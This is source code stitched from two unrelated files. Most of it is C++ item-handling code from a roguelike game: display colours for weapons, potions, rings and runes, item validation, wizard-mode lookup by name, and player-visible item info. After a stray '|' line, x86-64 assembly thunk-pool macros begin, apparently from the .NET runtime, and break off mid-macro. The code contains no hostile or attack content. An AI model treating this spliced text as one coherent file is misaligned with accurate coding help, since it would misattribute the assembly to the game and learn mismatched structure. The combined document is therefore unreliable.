case MI_SLING_BULLET:
return CYAN;
case MI_LARGE_ROCK:
return LIGHTGREY;
case MI_ARROW:
return BLUE;
#if TAG_MAJOR_VERSION == 34
case MI_NEEDLE:
#endif
case MI_DART:
return WHITE;
case MI_BOLT:
return LIGHTBLUE;
case MI_JAVELIN:
return RED;
case MI_THROWING_NET:
return MAGENTA;
case MI_BOOMERANG:
return GREEN;
case NUM_SPECIAL_MISSILES:
default:
die("invalid missile type");
}
}
/**
* Assuming this item is a piece of armour, what colour is it?
*/
colour_t item_def::armour_colour() const
{
ASSERT(base_type == OBJ_ARMOUR);
if (is_artefact(*this))
return randart_colour();
if (armour_type_is_hide((armour_type)sub_type))
return mons_class_colour(monster_for_hide((armour_type)sub_type));
// TODO: move (some of?) this into item-prop.cc
switch (sub_type)
{
case ARM_CLOAK:
case ARM_SCARF:
return WHITE;
case ARM_BARDING:
return GREEN;
case ARM_ROBE:
return RED;
#if TAG_MAJOR_VERSION == 34
case ARM_CAP:
#endif
case ARM_HAT:
case ARM_HELMET:
return MAGENTA;
case ARM_BOOTS:
return BLUE;
case ARM_GLOVES:
return LIGHTBLUE;
case ARM_LEATHER_ARMOUR:
return BROWN;
case ARM_ANIMAL_SKIN:
return LIGHTGREY;
case ARM_CRYSTAL_PLATE_ARMOUR:
return WHITE;
case ARM_KITE_SHIELD:
case ARM_TOWER_SHIELD:
case ARM_BUCKLER:
return CYAN;
default:
return LIGHTCYAN;
}
}
/**
* Assuming this item is a wand, what colour is it?
*/
colour_t item_def::wand_colour() const
{
ASSERT(base_type == OBJ_WANDS);
// this is very odd... a linleyism?
// TODO: associate colours directly with names
// (use an array of [name, colour] tuples/structs)
switch (subtype_rnd % NDSC_WAND_PRI)
{
case 0: //"iron wand"
return CYAN;
case 1: //"brass wand"
case 5: //"gold wand"
return YELLOW;
case 3: //"wooden wand"
case 4: //"copper wand"
case 7: //"bronze wand"
return BROWN;
case 6: //"silver wand"
return WHITE;
case 11: //"fluorescent wand"
return LIGHTGREEN;
case 2: //"bone wand"
case 8: //"ivory wand"
case 9: //"glass wand"
case 10: //"lead wand"
default:
return LIGHTGREY;
}
}
/**
* Assuming this item is a potion, what colour is it?
*/
colour_t item_def::potion_colour() const
{
ASSERT(base_type == OBJ_POTIONS);
// TODO: associate colours directly with names
// (use an array of [name, colour] tuples/structs)
static const COLOURS potion_colours[] =
{
#if TAG_MAJOR_VERSION == 34
// clear
LIGHTGREY,
#endif
// blue, black, silvery, cyan, purple, orange
BLUE, LIGHTGREY, WHITE, CYAN, MAGENTA, LIGHTRED,
// inky, red, yellow, green, brown, pink, white
BLUE, RED, YELLOW, GREEN, BROWN, LIGHTMAGENTA, WHITE,
// emerald, grey, pink, copper, gold, dark, puce
LIGHTGREEN, LIGHTGREY, LIGHTRED, YELLOW, YELLOW, BROWN, BROWN,
// amethyst, sapphire
MAGENTA, BLUE
};
COMPILE_CHECK(ARRAYSZ(potion_colours) == NDSC_POT_PRI);
return potion_colours[subtype_rnd % NDSC_POT_PRI];
}
/**
* Assuming this item is a ring, what colour is it?
*/
colour_t item_def::ring_colour() const
{
ASSERT(!jewellery_is_amulet(*this));
// jewellery_is_amulet asserts base type
// TODO: associate colours directly with names
// (use an array of [name, colour] tuples/structs)
switch (subtype_rnd % NDSC_JEWEL_PRI)
{
case 1: // "silver ring"
case 8: // "granite ring"
case 9: // "ivory ring"
case 15: // "bone ring"
case 16: // "diamond ring"
case 20: // "opal ring"
case 21: // "pearl ring"
case 26: // "onyx ring"
return LIGHTGREY;
case 3: // "iron ring"
case 4: // "steel ring"
case 13: // "glass ring"
return CYAN;
case 5: // "tourmaline ring"
case 22: // "coral ring"
return MAGENTA;
case 10: // "ruby ring"
case 19: // "garnet ring"
return RED;
case 11: // "marble ring"
case 12: // "jade ring"
case 14: // "agate ring"
case 17: // "emerald ring"
case 18: // "peridot ring"
return GREEN;
case 23: // "sapphire ring"
case 24: // "cabochon ring"
case 28: // "moonstone ring"
return BLUE;
case 0: // "wooden ring"
case 2: // "golden ring"
case 6: // "brass ring"
case 7: // "copper ring"
case 25: // "gilded ring"
case 27: // "bronze ring"
default:
return BROWN;
}
}
/**
* Assuming this item is an amulet, what colour is it?
*/
colour_t item_def::amulet_colour() const
{
ASSERT(jewellery_is_amulet(*this));
// jewellery_is_amulet asserts base type
// TODO: associate colours directly with names
// (use an array of [name, colour] tuples/structs)
switch (subtype_rnd % NDSC_JEWEL_PRI)
{
case 1: // "zirconium amulet"
case 10: // "bone amulet"
case 11: // "platinum amulet"
case 16: // "pearl amulet"
case 20: // "diamond amulet"
return LIGHTGREY;
case 0: // "sapphire amulet"
case 17: // "blue amulet"
case 26: // "lapis lazuli amulet"
return BLUE;
case 3: // "emerald amulet"
case 12: // "jade amulet"
case 18: // "peridot amulet"
case 21: // "malachite amulet"
case 25: // "soapstone amulet"
case 28: // "beryl amulet"
return GREEN;
case 4: // "garnet amulet"
case 8: // "ruby amulet"
case 19: // "jasper amulet"
case 15: // "cameo amulet"
return RED;
case 22: // "steel amulet"
case 24: // "silver amulet"
case 27: // "filigree amulet"
return CYAN;
case 13: // "fluorescent amulet"
case 14: // "amethyst amulet"
case 23: // "cabochon amulet"
return MAGENTA;
case 2: // "golden amulet"
case 5: // "bronze amulet"
case 6: // "brass amulet"
case 7: // "copper amulet"
case 9: // "citrine amulet"
default:
return BROWN;
}
}
/**
* Assuming this is a piece of jewellery (ring or amulet), what colour is it?
*/
colour_t item_def::jewellery_colour() const
{
ASSERT(base_type == OBJ_JEWELLERY);
//randarts are bright, normal jewellery is dark
if (is_random_artefact(*this))
return LIGHTGREEN + (rnd % (WHITE - LIGHTGREEN + 1));
if (jewellery_is_amulet(*this))
return amulet_colour();
return ring_colour();
}
/**
* Assuming this item is a book, what colour is it?
*/
colour_t item_def::book_colour() const
{
ASSERT(base_type == OBJ_BOOKS);
if (sub_type == BOOK_MANUAL)
return WHITE;
switch (rnd % NDSC_BOOK_PRI)
{
case 0:
return BROWN;
case 1:
return CYAN;
case 2:
return LIGHTGREY;
case 3:
case 4:
default:
{
/// everything but BLACK, WHITE (manuals), and DARKGREY (useless)
static const colour_t colours[] = {
BLUE, GREEN, CYAN, RED, MAGENTA, BROWN, LIGHTGREY, LIGHTBLUE,
LIGHTGREEN, LIGHTCYAN, LIGHTRED, LIGHTMAGENTA, YELLOW
};
return colours[rnd % ARRAYSZ(colours)];
}
}
}
/**
* Assuming this item is a Rune of Zot, what colour is it?
*/
colour_t item_def::rune_colour() const
{
switch (sub_type)
{
case RUNE_DIS: // iron
return ETC_IRON;
case RUNE_COCYTUS: // icy
return ETC_ICE;
case RUNE_TARTARUS: // bone
case RUNE_SPIDER:
return ETC_BONE;
case RUNE_SLIME: // slimy
return ETC_SLIME;
case RUNE_SNAKE: // serpentine
return ETC_POISON;
case RUNE_ELF: // elven
return ETC_ELVEN;
case RUNE_VAULTS: // silver
return ETC_SILVER;
case RUNE_TOMB: // golden
return ETC_GOLD;
case RUNE_SWAMP: // decaying
return ETC_DECAY;
case RUNE_SHOALS: // barnacled
return ETC_WATER;
// This one is hardly unique, but colour isn't used for
// stacking, so we don't have to worry too much about this.
// - bwr
case RUNE_DEMONIC: // random Pandemonium lords
{
static const element_type types[] =
{ETC_EARTH, ETC_ELECTRICITY, ETC_ENCHANT, ETC_HEAL, ETC_BLOOD,
ETC_DEATH, ETC_UNHOLY, ETC_VEHUMET, ETC_BEOGH, ETC_CRYSTAL,
ETC_SMOKE, ETC_DWARVEN, ETC_ORCISH, ETC_FLASH};
return types[rnd % ARRAYSZ(types)];
}
case RUNE_ABYSSAL:
return ETC_RANDOM;
case RUNE_MNOLEG: // glowing
return ETC_MUTAGENIC;
case RUNE_LOM_LOBON: // magical
return ETC_MAGIC;
case RUNE_CEREBOV: // fiery
return ETC_FIRE;
case RUNE_GEHENNA: // obsidian
case RUNE_GLOORX_VLOQ: // dark
default:
return ETC_DARK;
}
}
static colour_t _zigfig_colour()
{
const int zigs = you.zigs_completed;
return zigs >= 27 ? ETC_JEWEL :
zigs >= 9 ? ETC_FLASH :
zigs >= 3 ? ETC_MAGIC :
zigs >= 1 ? ETC_SHIMMER_BLUE :
ETC_BONE;
}
/**
* Assuming this item is a miscellaneous item (evocations item or a rune), what
* colour is it?
*/
colour_t item_def::miscellany_colour() const
{
ASSERT(base_type == OBJ_MISCELLANY);
switch (sub_type)
{
#if TAG_MAJOR_VERSION == 34
case MISC_FAN_OF_GALES:
return CYAN;
case MISC_BOTTLED_EFREET:
return RED;
#endif
case MISC_PHANTOM_MIRROR:
return RED;
#if TAG_MAJOR_VERSION == 34
case MISC_STONE_OF_TREMORS:
return BROWN;
#endif
case MISC_LIGHTNING_ROD:
return LIGHTGREY;
case MISC_PHIAL_OF_FLOODS:
return LIGHTBLUE;
case MISC_BOX_OF_BEASTS:
return LIGHTGREEN; // ugh, but we're out of other options
#if TAG_MAJOR_VERSION == 34
case MISC_CRYSTAL_BALL_OF_ENERGY:
return LIGHTCYAN;
#endif
case MISC_HORN_OF_GERYON:
return LIGHTRED;
#if TAG_MAJOR_VERSION == 34
case MISC_LAMP_OF_FIRE:
return YELLOW;
case MISC_SACK_OF_SPIDERS:
return WHITE;
case MISC_BUGGY_LANTERN_OF_SHADOWS:
case MISC_BUGGY_EBONY_CASKET:
case MISC_XOMS_CHESSBOARD:
return DARKGREY;
#endif
case MISC_TIN_OF_TREMORSTONES:
return BROWN;
case MISC_QUAD_DAMAGE:
return ETC_DARK;
case MISC_ZIGGURAT:
return _zigfig_colour();
default:
return LIGHTGREEN;
}
}
/**
* Assuming this item is a corpse, what colour is it?
*/
colour_t item_def::corpse_colour() const
{
ASSERT(base_type == OBJ_CORPSES);
switch (sub_type)
{
case CORPSE_SKELETON:
return LIGHTGREY;
case CORPSE_BODY:
{
const colour_t class_colour = mons_class_colour(mon_type);
#if TAG_MAJOR_VERSION == 34
if (class_colour == COLOUR_UNDEF)
return LIGHTRED;
#else
ASSERT(class_colour != COLOUR_UNDEF);
#endif
return class_colour;
}
default:
die("Unknown corpse type: %d", sub_type); // XXX: add more info
}
}
/**
* What colour is this item?
*
* @return The colour that the item should be displayed as.
* Used for console glyphs.
*/
colour_t item_def::get_colour() const
{
// props take first priority
if (props.exists(FORCED_ITEM_COLOUR_KEY))
{
const colour_t colour = props[FORCED_ITEM_COLOUR_KEY].get_int();
ASSERT(colour);
return colour;
}
// unrands get to override everything else (wrt colour)
if (is_unrandom_artefact(*this))
{
const unrandart_entry *unrand = get_unrand_entry(
find_unrandart_index(*this));
ASSERT(unrand);
ASSERT(unrand->colour);
return unrand->colour;
}
switch (base_type)
{
case OBJ_WEAPONS:
return weapon_colour();
case OBJ_MISSILES:
return missile_colour();
case OBJ_ARMOUR:
return armour_colour();
case OBJ_WANDS:
return wand_colour();
case OBJ_POTIONS:
return potion_colour();
#if TAG_MAJOR_VERSION == 34
case OBJ_FOOD:
return LIGHTRED;
#endif
case OBJ_JEWELLERY:
return jewellery_colour();
case OBJ_SCROLLS:
return LIGHTGREY;
case OBJ_BOOKS:
return book_colour();
#if TAG_MAJOR_VERSION == 34
case OBJ_RODS:
return YELLOW;
#endif
case OBJ_STAVES:
return BROWN;
case OBJ_ORBS:
return ETC_MUTAGENIC;
case OBJ_CORPSES:
return corpse_colour();
case OBJ_MISCELLANY:
return miscellany_colour();
case OBJ_GOLD:
return YELLOW;
case OBJ_RUNES:
return rune_colour();
case OBJ_DETECTED:
return Options.detected_item_colour;
case NUM_OBJECT_CLASSES:
case OBJ_UNASSIGNED:
case OBJ_RANDOM: // not sure what to do with these three
default:
return LIGHTGREY;
}
}
bool item_type_has_unidentified(object_class_type base_type)
{
return base_type == OBJ_WANDS
|| base_type == OBJ_SCROLLS
|| base_type == OBJ_JEWELLERY
|| base_type == OBJ_POTIONS
|| base_type == OBJ_BOOKS
|| base_type == OBJ_STAVES
|| base_type == OBJ_MISCELLANY
#if TAG_MAJOR_VERSION == 34
|| base_type == OBJ_RODS
#endif
;
}
// Checks whether the item is actually a good one.
// TODO: check brands, etc.
bool item_def::is_valid(bool iinfo) const
{
if (base_type == OBJ_DETECTED)
{
if (!iinfo)
dprf("weird detected item");
return iinfo;
}
else if (!defined())
{
dprf("undefined");
return false;
}
const int max_sub = get_max_subtype(base_type);
if (max_sub != -1 && sub_type >= max_sub)
{
if (!iinfo || sub_type > max_sub || !item_type_has_unidentified(base_type))
{
if (!iinfo)
dprf("weird subtype and no info");
if (sub_type > max_sub)
dprf("huge subtype");
if (!item_type_has_unidentified(base_type))
dprf("unided item of a type that can't be");
return false;
}
}
if (get_colour() == 0)
{
dprf("black item");
return false; // No black items.
}
if (!appearance_initialized())
{
dprf("no rnd");
return false; // no items with uninitialized rnd
}
return true;
}
// The Orb of Zot and unique runes are considered critical.
bool item_def::is_critical() const
{
if (!defined())
return false;
if (base_type == OBJ_ORBS)
return true;
return item_is_unique_rune(*this);
}
// Is item something that no one would usually bother enchanting?
bool item_def::is_mundane() const
{
switch (base_type)
{
case OBJ_WEAPONS:
if (sub_type == WPN_CLUB
|| is_giant_club_type(sub_type))
{
return true;
}
break;
case OBJ_ARMOUR:
if (sub_type == ARM_ANIMAL_SKIN)
return true;
break;
default:
break;
}
return false;
}
static void _rune_from_specs(const char* _specs, item_def &item)
{
char specs[80];
if (strstr(_specs, "rune of zot"))
{
strlcpy(specs, _specs, min(strlen(_specs) - strlen(" of zot") + 1,
sizeof(specs)));
}
else
strlcpy(specs, _specs, sizeof(specs));
if (strlen(specs) > 4)
{
for (int i = 0; i < NUM_RUNE_TYPES; ++i)
{
item.sub_type = i;
if (lowercase_string(item.name(DESC_PLAIN)).find(specs) != string::npos)
return;
}
}
while (true)
{
string line;
for (int i = 0; i < NUM_RUNE_TYPES; i++)
{
line += make_stringf("[%c] %-10s ", i + 'a', rune_type_name(i));
if (i % 5 == 4 || i == NUM_RUNE_TYPES - 1)
{
mprf(MSGCH_PROMPT, "%s", line.c_str());
line.clear();
}
}
mprf(MSGCH_PROMPT, "Which rune (ESC to exit)? ");
int keyin = toalower(get_ch());
if (key_is_escape(keyin) || keyin == ' '
|| keyin == '\r' || keyin == '\n')
{
canned_msg(MSG_OK);
item.base_type = OBJ_UNASSIGNED;
return;
}
if (keyin < 'a' || keyin >= 'a' + NUM_RUNE_TYPES)
continue;
item.sub_type = keyin - 'a';
return;
}
}
static bool _book_from_spell(const char* specs, item_def &item)
{
spell_type type = spell_by_name(specs, true);
if (type == SPELL_NO_SPELL)
return false;
for (int i = 0; i < NUM_FIXED_BOOKS; ++i)
for (spell_type sp : spellbook_template(static_cast<book_type>(i)))
if (sp == type)
{
item.sub_type = i;
return true;
}
return false;
}
bool get_item_by_name(item_def *item, const char* specs,
object_class_type class_wanted, bool create_for_real)
{
// used only for wizmode and item lookup
int type_wanted = -1;
int special_wanted = 0;
// In order to get the sub-type, we'll fill out the base type...
// then we're going to iterate over all possible subtype values
// and see if we get a winner. -- bwr
item->base_type = class_wanted;
item->sub_type = 0;
item->plus = 0;
item->plus2 = 0;
item->special = 0;
item->flags = 0;
item->quantity = 1;
// Don't use set_ident_flags(), to avoid getting a spurious ID note.
item->flags |= ISFLAG_IDENT_MASK;
if (class_wanted == OBJ_RUNES && strstr(specs, "rune"))
{
_rune_from_specs(specs, *item);
// Rune creation cancelled, clean up item->
if (item->base_type == OBJ_UNASSIGNED)
return false;
}
if (!item->sub_type)
{
type_wanted = -1;
size_t best_index = 10000;
for (const auto i : all_item_subtypes(item->base_type))
{
item->sub_type = i;
size_t pos = lowercase_string(item->name(DESC_PLAIN)).find(specs);
if (pos != string::npos)
{
// Earliest match is the winner.
if (pos < best_index)
{
if (create_for_real)
mpr(item->name(DESC_PLAIN));
type_wanted = i;
best_index = pos;
}
}
}
if (type_wanted != -1)
{
item->sub_type = type_wanted;
if (!create_for_real)
return true;
}
else
{
switch (class_wanted)
{
case OBJ_BOOKS:
// Try if we get a match against a spell.
if (_book_from_spell(specs, *item))
type_wanted = item->sub_type;
break;
// Search for a matching unrandart.
case OBJ_WEAPONS:
case OBJ_ARMOUR:
case OBJ_JEWELLERY:
{
// XXX: if we ever allow ?/ lookup of unrands, change this,
// since at present, it'll mark any matching unrands as
// created & prevent them from showing up in the game!
for (int unrand = 0; unrand < NUM_UNRANDARTS; ++unrand)
{
int index = unrand + UNRAND_START;
const unrandart_entry* entry = get_unrand_entry(index);
size_t pos = lowercase_string(entry->name).find(specs);
if (pos != string::npos && entry->base_type == class_wanted)
{
make_item_unrandart(*item, index);
if (create_for_real)
{
mprf("%s (%s)", entry->name,
debug_art_val_str(*item).c_str());
}
return true;
}
}
// Reset base type to class_wanted, if nothing found.
item->base_type = class_wanted;
item->sub_type = 0;
break;
}
default:
break;
}
}
if (type_wanted == -1)
{
// ds -- If specs is a valid int, try using that.
// Since zero is atoi's copout, the wizard
// must enter (subtype + 1).
if (!(type_wanted = atoi(specs)))
return false;
type_wanted--;
item->sub_type = type_wanted;
}
}
if (!create_for_real)
return true;
switch (item->base_type)
{
case OBJ_MISSILES:
item->quantity = 30;
// intentional fall-through
case OBJ_WEAPONS:
case OBJ_ARMOUR:
{
char buf[80];
msgwin_get_line_autohist("What ego type? ", buf, sizeof(buf));
if (buf[0] != '\0')
{
string buf_lwr = lowercase_string(buf);
special_wanted = 0;
size_t best_index = 10000;
for (int i = SPWPN_NORMAL + 1; i < SPWPN_DEBUG_RANDART; ++i)
{
item->brand = i;
size_t pos = lowercase_string(item->name(DESC_PLAIN)).find(buf_lwr);
if (pos != string::npos)
{
// earliest match is the winner
if (pos < best_index)
{
if (create_for_real)
mpr(item->name(DESC_PLAIN));
special_wanted = i;
best_index = pos;
}
}
}
item->brand = special_wanted;
}
break;
}
case OBJ_BOOKS:
if (item->sub_type == BOOK_MANUAL)
{
skill_type skill =
debug_prompt_for_skill("A manual for which skill? ");
if (skill != SK_NONE)
item->skill = skill;
else
{
mpr("Sorry, no books on that skill today.");
item->skill = SK_FIGHTING; // Was probably that anyway.
}
item->skill_points = random_range(2000, 3000);
}
else if (type_wanted == BOOK_RANDART_THEME)
build_themed_book(*item, capped_spell_filter(20));
else if (type_wanted == BOOK_RANDART_LEVEL)
{
int level = random_range(1, 9);
make_book_level_randart(*item, level);
}
break;
case OBJ_WANDS:
item->plus = wand_charge_value(item->sub_type);
break;
case OBJ_POTIONS:
item->quantity = 12;
break;
case OBJ_SCROLLS:
item->quantity = 12;
break;
case OBJ_JEWELLERY:
if (jewellery_is_amulet(*item))
break;
switch (item->sub_type)
{
case RING_SLAYING:
case RING_PROTECTION:
case RING_EVASION:
case RING_STRENGTH:
case RING_DEXTERITY:
case RING_INTELLIGENCE:
item->plus = 5;
default:
break;
}
default:
break;
}
item_set_appearance(*item);
return true;
}
bool get_item_by_exact_name(item_def &item, const char* name)
{
item.clear();
item.quantity = 1;
// Don't use set_ident_flags(), to avoid getting a spurious ID note.
item.flags |= ISFLAG_IDENT_MASK;
string name_lc = lowercase_string(string(name));
for (int i = 0; i < NUM_OBJECT_CLASSES; ++i)
{
if (i == OBJ_RUNES) // runes aren't shown in ?/I
continue;
item.base_type = static_cast<object_class_type>(i);
item.sub_type = 0;
if (!item.sub_type)
{
for (const auto j : all_item_subtypes(item.base_type))
{
item.sub_type = j;
if (lowercase_string(item.name(DESC_DBNAME)) == name_lc)
return true;
}
}
}
return false;
}
void move_items(const coord_def r, const coord_def p)
{
ASSERT_IN_BOUNDS(r);
ASSERT_IN_BOUNDS(p);
int it = igrd(r);
if (it == NON_ITEM)
return;
while (it != NON_ITEM)
{
mitm[it].pos.x = p.x;
mitm[it].pos.y = p.y;
if (mitm[it].link == NON_ITEM)
{
// Link to the stack on the target grid p,
// or NON_ITEM, if empty.
mitm[it].link = igrd(p);
break;
}
it = mitm[it].link;
}
// Move entire stack over to p.
igrd(p) = igrd(r);
igrd(r) = NON_ITEM;
}
// erase everything the player doesn't know
item_info get_item_info(const item_def& item)
{
item_info ii;
ii.base_type = item.base_type;
ii.quantity = item.quantity;
ii.inscription = item.inscription;
ii.flags = item.flags & (0
| ISFLAG_IDENT_MASK
| ISFLAG_ARTEFACT_MASK | ISFLAG_DROPPED | ISFLAG_THROWN
| ISFLAG_COSMETIC_MASK);
if (in_inventory(item))
{
ii.link = item.link;
ii.slot = item.slot;
ii.pos = ITEM_IN_INVENTORY;
}
else
ii.pos = item.pos;
ii.rnd = item.rnd; // XXX: may (?) leak cosmetic (?) info...?
if (ii.rnd == 0)
ii.rnd = 1; // don't leave "uninitialized" item infos around
// keep god number
if (item.orig_monnum < 0)
ii.orig_monnum = item.orig_monnum;
if (is_unrandom_artefact(item))
{
// Unrandart index
// Since the appearance of unrandarts is fixed anyway, this
// is not an information leak.
ii.unrand_idx = item.unrand_idx;
}
switch (item.base_type)
{
case OBJ_MISSILES:
if (item_ident(ii, ISFLAG_KNOW_PLUSES))
ii.net_placed = item.net_placed;
// intentional fall-through
case OBJ_WEAPONS:
ii.sub_type = item.sub_type;
if (item_ident(ii, ISFLAG_KNOW_PLUSES))
ii.plus = item.plus;
if (item_type_known(item))
ii.brand = item.brand;
break;
case OBJ_ARMOUR:
ii.sub_type = item.sub_type;
if (item_ident(ii, ISFLAG_KNOW_PLUSES))
ii.plus = item.plus;
if (item_type_known(item))
ii.brand = item.brand;
break;
case OBJ_WANDS:
if (item_type_known(item))
{
ii.sub_type = item.sub_type;
ii.charges = item.charges;
}
else
ii.sub_type = NUM_WANDS;
ii.subtype_rnd = item.subtype_rnd;
break;
case OBJ_POTIONS:
if (item_type_known(item))
ii.sub_type = item.sub_type;
else
ii.sub_type = NUM_POTIONS;
ii.subtype_rnd = item.subtype_rnd;
break;
case OBJ_CORPSES:
ii.sub_type = item.sub_type;
ii.mon_type = item.mon_type;
ii.freshness = 100;
break;
case OBJ_SCROLLS:
if (item_type_known(item))
ii.sub_type = item.sub_type;
else
ii.sub_type = NUM_SCROLLS;
ii.subtype_rnd = item.subtype_rnd; // name seed
break;
case OBJ_JEWELLERY:
if (item_type_known(item))
ii.sub_type = item.sub_type;
else
ii.sub_type = jewellery_is_amulet(item) ? NUM_JEWELLERY : NUM_RINGS;
if (item_ident(ii, ISFLAG_KNOW_PLUSES))
ii.plus = item.plus; // str/dex/int/ac/ev ring plus
ii.subtype_rnd = item.subtype_rnd;
break;
case OBJ_BOOKS:
if (item_type_known(item) || !item_is_spellbook(item))
ii.sub_type = item.sub_type;
else
ii.sub_type = NUM_BOOKS;
ii.subtype_rnd = item.subtype_rnd;
if (item.sub_type == BOOK_MANUAL && item_type_known(item))
ii.skill = item.skill; // manual skill
break;
#if TAG_MAJOR_VERSION == 34
case OBJ_RODS:
ii.sub_type = NUM_RODS;
break;
#endif
case OBJ_STAVES:
ii.sub_type = item_type_known(item) ? item.sub_type : int{NUM_STAVES};
ii.subtype_rnd = item.subtype_rnd;
break;
case OBJ_MISCELLANY:
if (item_type_known(item))
ii.sub_type = item.sub_type;
else
ii.sub_type = item.sub_type;
break;
case OBJ_GOLD:
ii.sub_type = item.sub_type;
break;
case OBJ_ORBS:
case OBJ_RUNES:
default:
ii.sub_type = item.sub_type;
break;
}
if (item_ident(item, ISFLAG_KNOW_CURSE))
ii.flags |= (item.flags & ISFLAG_CURSED);
if (item_type_known(item))
{
ii.flags |= ISFLAG_KNOW_TYPE;
if (item.props.exists(ARTEFACT_NAME_KEY))
ii.props[ARTEFACT_NAME_KEY] = item.props[ARTEFACT_NAME_KEY];
}
static const char* copy_props[] =
{
ARTEFACT_APPEAR_KEY, KNOWN_PROPS_KEY, CORPSE_NAME_KEY,
CORPSE_NAME_TYPE_KEY, "item_tile", "item_tile_name",
"worn_tile", "worn_tile_name", "needs_autopickup",
FORCED_ITEM_COLOUR_KEY,
};
for (const char *prop : copy_props)
if (item.props.exists(prop))
ii.props[prop] = item.props[prop];
static const char* copy_ident_props[] = {"spell_list"};
if (item_ident(item, ISFLAG_KNOW_TYPE))
{
for (const char *prop : copy_ident_props)
if (item.props.exists(prop))
ii.props[prop] = item.props[prop];
}
if (item.props.exists(ARTEFACT_PROPS_KEY))
{
CrawlVector props = item.props[ARTEFACT_PROPS_KEY].get_vector();
const CrawlVector &known = item.props[KNOWN_PROPS_KEY].get_vector();
if (!item_ident(item, ISFLAG_KNOW_PROPERTIES))
{
for (unsigned i = 0; i < props.size(); ++i)
{
if (i >= known.size() || !known[i].get_bool())
props[i] = (short)0;
}
}
ii.props[ARTEFACT_PROPS_KEY] = props;
}
return ii;
}
int runes_in_pack()
{
return static_cast<int>(you.runes.count());
}
object_class_type get_random_item_mimic_type()
{
return random_choose(OBJ_GOLD, OBJ_WEAPONS, OBJ_ARMOUR, OBJ_SCROLLS,
OBJ_POTIONS, OBJ_BOOKS, OBJ_STAVES,
OBJ_MISCELLANY, OBJ_JEWELLERY);
}
/**
* How many types of identifiable item exist in the same category as the
* given item? (E.g., wands, scrolls, rings, etc.)
*
* @param item The item in question.
* @return The number of item enums in the same category.
* If the item isn't in a category of identifiable items,
* returns 0.
*/
static int _items_in_category(const item_def &item)
{
switch (item.base_type)
{
case OBJ_WANDS:
return NUM_WANDS;
case OBJ_STAVES:
return NUM_STAVES;
case OBJ_POTIONS:
return NUM_POTIONS;
case OBJ_SCROLLS:
return NUM_SCROLLS;
case OBJ_JEWELLERY:
if (jewellery_is_amulet(item.sub_type))
return NUM_JEWELLERY - AMU_FIRST_AMULET;
return NUM_RINGS - RING_FIRST_RING;
default:
return 0;
}
}
/**
* What's the first enum for the given item's category?
*
* @param item The item in question.
* @return The enum value for the first item of the given type.
*/
static int _get_item_base(const item_def &item)
{
if (item.base_type != OBJ_JEWELLERY)
return 0; // XXX: dubious
if (jewellery_is_amulet(item))
return AMU_FIRST_AMULET;
return RING_FIRST_RING;
}
/**
* Autoidentify the (given) last item in its category.
*
8 @param item The item to identify.
*/
static void _identify_last_item(item_def &item)
{
if (!in_inventory(item) && item_needs_autopickup(item)
&& (item.base_type == OBJ_STAVES
|| item.base_type == OBJ_JEWELLERY))
{
item.props["needs_autopickup"] = true;
}
set_ident_type(item, true);
if (item.props.exists("needs_autopickup") && is_useless_item(item))
item.props.erase("needs_autopickup");
const string class_name = item.base_type == OBJ_JEWELLERY ?
item_base_name(item) :
item_class_name(item.base_type, true);
mprf("You have identified the last %s.", class_name.c_str());
if (in_inventory(item))
{
mprf_nocap("%s", item.name(DESC_INVENTORY_EQUIP).c_str());
auto_assign_item_slot(item);
}
}
/**
* Check to see if there's only one unidentified subtype left in the given
* item's object type. If so, automatically identify it.
*
* @param item The item in question.
* @return Whether the item was identified.
*/
bool maybe_identify_base_type(item_def &item)
{
if (is_artefact(item))
return false;
if (get_ident_type(item))
return false;
const int item_count = _items_in_category(item);
if (!item_count)
return false;
// What's the enum of the first item in the category?
const int item_base = _get_item_base(item);
int ident_count = 0;
for (int i = item_base; i < item_count + item_base; i++)
{
const bool identified = you.type_ids[item.base_type][i];
ident_count += identified ? 1 : 0;
}
if (ident_count < item_count - 1)
return false;
_identify_last_item(item);
return true;
}
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; -----------------------------------------------------------------------------------------------------------
;;#include "asmmacros.inc"
;; -----------------------------------------------------------------------------------------------------------
LEAF_ENTRY macro Name, Section
Section segment para 'CODE'
align 16
public Name
Name proc
endm
NAMED_LEAF_ENTRY macro Name, Section, SectionAlias
Section segment para alias(SectionAlias) 'CODE'
align 16
public Name
Name proc
endm
LEAF_END macro Name, Section
Name endp
Section ends
endm
NAMED_READONLY_DATA_SECTION macro Section, SectionAlias
Section segment alias(SectionAlias) read 'DATA'
align 16
DQ 0
Section ends
endm
NAMED_READWRITE_DATA_SECTION macro Section, SectionAlias
Section segment alias(SectionAlias) read write 'DATA'
align 16
DQ 0
Section ends
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; STUBS & DATA SECTIONS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
THUNK_CODESIZE equ 10h ;; 7-byte lea, 6-byte jmp, 3 bytes of nops
THUNK_DATASIZE equ 010h ;; 2 qwords
THUNK_POOL_NUM_THUNKS_PER_PAGE equ 0FAh ;; 250 thunks per page
PAGE_SIZE equ 01000h ;; 4K
POINTER_SIZE equ 08h
LOAD_DATA_ADDRESS macro groupIndex, index, thunkPool
ALIGN 10h ;; make sure we align to 16-byte boundary for CFG table
;; set r10 to begining of data page : r10 <- [thunkPool] + PAGE_SIZE
;; fix offset of the data : r10 <- r10 + (THUNK_DATASIZE * current thunk's index)
lea r10, [thunkPool + PAGE_SIZE + (groupIndex * THUNK_DATASIZE * 10 + THUNK_DATASIZE * index)]
endm
JUMP_TO_COMMON macro groupIndex, index, thunkPool
;; jump to the location pointed at by the last qword in the data page
jmp qword ptr[thunkPool + PAGE_SIZE + PAGE_SIZE - POINTER_SIZE]
endm
TenThunks macro groupIndex, thunkPool
;; Each thunk will load the address of its corresponding data (from the page that immediately follows)
;; and call a common stub. The address of the common stub is setup by the caller (first qword
;; in the thunks data section, hence the +8's below) depending on the 'kind' of thunks needed (interop,
;; fat function pointers, etc...)
;; Each data block used by a thunk consists of two qword values:
;; - Context: some value given to the thunk as context (passed in r10). Example for fat-fptrs: context = generic dictionary
;; - Target : target code that the thunk eventually jumps to.
LOAD_DATA_ADDRESS groupIndex,0,thunkPool
JUMP_TO_COMMON groupIndex,0,thunkPool
LOAD_DATA_ADDRESS groupIndex,1,thunkPool
JUMP_TO_COMMON groupIndex,1,thunkPool
LOAD_DATA_ADDRESS groupIndex,2,thunkPool
JUMP_TO_COMMON groupIndex,2,thunkPool
